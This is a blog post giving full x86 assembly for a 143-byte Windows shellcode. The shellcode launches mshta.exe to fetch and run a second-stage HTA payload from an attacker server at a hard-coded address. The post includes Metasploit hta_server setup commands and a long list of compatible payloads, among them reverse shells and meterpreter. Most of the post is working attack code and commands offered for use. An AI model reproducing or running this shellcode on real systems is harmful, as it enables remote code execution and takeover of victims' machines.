In this post, I would like to explore the development of a multi-stage shellcode that utilizes the JMP/CALL/POP technique alongside static kernel32.dll function addresses to bypass small stack space restrictions.
Targeting Windows x86 systems, this shellcode leverages the mshta.exe binary to execute a second-stage payload delivered via Metasploit’s hta_server exploit module.
To avoid bad characters, the shellcode alternates the message db string between uppercase and lowercase letters.
In order to bypass the previously outlined constraints, the following shellcode was written based on these design specifications:
- Function address of CreateProcessA in kernel32.dll: 0x75732082
- Function address of ExitProcess in kernel32.dll: 0x7578214f
- Size in bytes of message db parameter, 65 bytes -> 0x41 hex
- Message db contains a strings with the static path windows location of mshta.exe binary and the url obtained from hta_server exploit.
Shellcode Assembly Code:
global _start
section .text
_start:
jmp application
firststep:
pop edi
xor eax, eax
mov [edi+65], al ; size in bytes of message db parameter
StartUpInfoANDProcessInformation:
push eax ; hStderror null in this case
push eax ; hStdOutput, null
push eax ; hStdInput, null
xor ebx, ebx
xor ecx, ecx
add cl, 0x12 ; 18 times loop to fill both structures.
looper:
push ebx
loop looper
;mov word [esp+0x3c], 0x0101 ; dwflag arg in startupinfo
mov bx, 0x1111
sub bx, 0x1010
mov word [esp+0x3c], bx
mov byte [esp+0x10], 0x44 ; cb=0x44
lea eax, [esp+0x10] ; eax points to StartUpInfo
; eax has a pointer to StartUPinfo
; esp has a pointer to Process_Info containing null values
createprocessA:
push esp ; pointer to Process-Info
push eax ; pointer to StartUpInfo
xor ebx, ebx
push ebx ; null
push ebx ; null
push ebx ; null
inc ebx
push ebx ; bInheritHandles=true
dec ebx
push ebx ; null
push ebx ; null
push edi ; pointer to message db string
push ebx ; null
mov edx, 0x75732082 ; CreateProcessA addr in kernel32.dll
call edx
ExitProcess:
push eax ; createprocessA return in eax
mov edx, 0x7578214f ; ExitProcess addr in kernel32.dll
call edx
application:
call firststep
message db "c:\windows\system32\mshta.exe http://10.10.10.5:8080/2NWyfQ9T.hta"
Upon execution on the victim machine, this shellcode downloads and executes the configured exploit payload from the attacker’s server using the “hta_server” exploit module in Metasploit. Below is provided an example of the “hta_server” exploit configuration:
# msf6 >
# msf6 > use exploit/windows/misc/hta_server (exploit for second stage payload delivery)
# msf6 exploit(windows/misc/hta_server) > set payload windows/exec (a payload from the previously specified list)
# msf6 exploit(windows/misc/hta_server) > set uripath 2NWyfQ9T.hta (a static value for URIPATH)
# msf6 exploit(windows/misc/hta_server) > set CMD calc.exe (command to be executed ex: calc.exe binary)
# msf6 exploit(windows/misc/hta_server) > run (second stage delivery server execution)
It is important to highlight that, this shellcode is compatible with the following Metasploit's payloads:
- generic/custom
- generic/debug_trap
- generic/shell_bind_tcp
- generic/shell_reverse_tcp
- generic/tight_loop
- windows/dllinject/bind_hidden_ipknock_tcp
- windows/dllinject/bind_hidden_tcp
- windows/dllinject/bind_ipv6_tcp
- windows/dllinject/bind_ipv6_tcp_uuid
- windows/dllinject/bind_named_pipe
- windows/dllinject/bind_nonx_tcp
- windows/dllinject/bind_tcp
- windows/dllinject/bind_tcp_rc4
- windows/dllinject/bind_tcp_uuid
- windows/dllinject/reverse_hop_http
- windows/dllinject/reverse_http
- windows/dllinject/reverse_http_proxy_pstore
- windows/dllinject/reverse_ipv6_tcp
- windows/dllinject/reverse_nonx_tcp
- windows/dllinject/reverse_ord_tcp
- windows/dllinject/reverse_tcp
- windows/dllinject/reverse_tcp_allports
- windows/dllinject/reverse_tcp_dns
- windows/dllinject/reverse_tcp_rc4
- windows/dllinject/reverse_tcp_rc4_dns
- windows/dllinject/reverse_tcp_uuid
- windows/dllinject/reverse_winhttp
- windows/dns_txt_query_exec
- windows/download_exec
- windows/exec
- windows/loadlibrary
- windows/messagebox
- windows/meterpreter/bind_hidden_ipknock_tcp
- windows/meterpreter/bind_hidden_tcp
- windows/meterpreter/bind_ipv6_tcp
- windows/meterpreter/bind_ipv6_tcp_uuid
- windows/meterpreter/bind_named_pipe
- windows/meterpreter/bind_nonx_tcp
- windows/meterpreter/bind_tcp
- windows/meterpreter/bind_tcp_rc4
- windows/meterpreter/bind_tcp_uuid
- windows/meterpreter/reverse_hop_http
- windows/meterpreter/reverse_http
- windows/meterpreter/reverse_http_proxy_pstore
- windows/meterpreter/reverse_https
- windows/meterpreter/reverse_https_proxy
- windows/meterpreter/reverse_ipv6_tcp
- windows/meterpreter/reverse_named_pipe
- windows/meterpreter/reverse_nonx_tcp
- windows/meterpreter/reverse_ord_tcp
- windows/meterpreter/reverse_tcp
- windows/meterpreter/reverse_tcp_allports
- windows/meterpreter/reverse_tcp_dns
- windows/meterpreter/reverse_tcp_rc4
- windows/meterpreter/reverse_tcp_rc4_dns
- windows/meterpreter/reverse_tcp_uuid
- windows/meterpreter/reverse_winhttp
- windows/meterpreter/reverse_winhttps
- windows/metsvc_bind_tcp
- windows/metsvc_reverse_tcp
- windows/patchupdllinject/bind_hidden_ipknock_tcp
- windows/patchupdllinject/bind_hidden_tcp
- windows/patchupdllinject/bind_ipv6_tcp
- windows/patchupdllinject/bind_ipv6_tcp_uuid
- windows/patchupdllinject/bind_named_pipe
- windows/patchupdllinject/bind_nonx_tcp
- windows/patchupdllinject/bind_tcp
- windows/patchupdllinject/bind_tcp_rc4
- windows/patchupdllinject/bind_tcp_uuid
- windows/patchupdllinject/reverse_ipv6_tcp
- windows/patchupdllinject/reverse_nonx_tcp
- windows/patchupdllinject/reverse_ord_tcp
- windows/patchupdllinject/reverse_tcp
- windows/patchupdllinject/reverse_tcp_allports
- windows/patchupdllinject/reverse_tcp_dns
- windows/patchupdllinject/reverse_tcp_rc4
- windows/patchupdllinject/reverse_tcp_rc4_dns
- windows/patchupdllinject/reverse_tcp_uuid
- windows/patchupmeterpreter/bind_hidden_ipknock_tcp
- windows/patchupmeterpreter/bind_hidden_tcp
- windows/patchupmeterpreter/bind_ipv6_tcp
- windows/patchupmeterpreter/bind_ipv6_tcp_uuid
- windows/patchupmeterpreter/bind_named_pipe
- windows/patchupmeterpreter/bind_nonx_tcp
- windows/patchupmeterpreter/bind_tcp
- windows/patchupmeterpreter/bind_tcp_rc4
- windows/patchupmeterpreter/bind_tcp_uuid
- windows/patchupmeterpreter/reverse_ipv6_tcp
- windows/patchupmeterpreter/reverse_nonx_tcp
- windows/patchupmeterpreter/reverse_ord_tcp
- windows/patchupmeterpreter/reverse_tcp
- windows/patchupmeterpreter/reverse_tcp_allports
Supplementary Information:
Shellcode Architecture: Windows x86
Shellcode Length: 143 Bytes
Tested on:
- Windows 7 Professional 6.1.7601 SP1 Build 7601 (x86)
- Windows Vista Ultimate 6.0.6002 SP2 Build 6002 (x86)
- Windows Server 2003 Enterprise Edition 5.2.3790 SP1 Build 3790 (x86)